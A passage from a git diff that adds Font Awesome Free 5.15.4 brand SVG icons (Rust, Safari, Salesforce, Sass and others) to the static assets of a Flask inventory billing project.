17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/resolving.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/resolving.svg new file mode 100644 index 00000000..6d319f8d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/resolving.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rev.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rev.svg new file mode 100644 index 00000000..3f413633 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rev.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rocketchat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rocketchat.svg new file mode 100644 index 00000000..6de89c5d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rocketchat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rockrms.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rockrms.svg new file mode 100644 index 00000000..c13c7b6e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rockrms.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rust.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rust.svg new file mode 100644 index 00000000..b69792d2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/rust.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/safari.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/safari.svg new file mode 100644 index 00000000..c43dd58a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/safari.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/salesforce.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/salesforce.svg new file mode 100644 index 00000000..c330feb9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/salesforce.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sass.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sass.svg new file mode 100644 index 00000000..77dd1e2c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/sass.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/schlix.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/schlix.svg new file mode 100644 index 00000000..5d914bfa --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/schlix.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 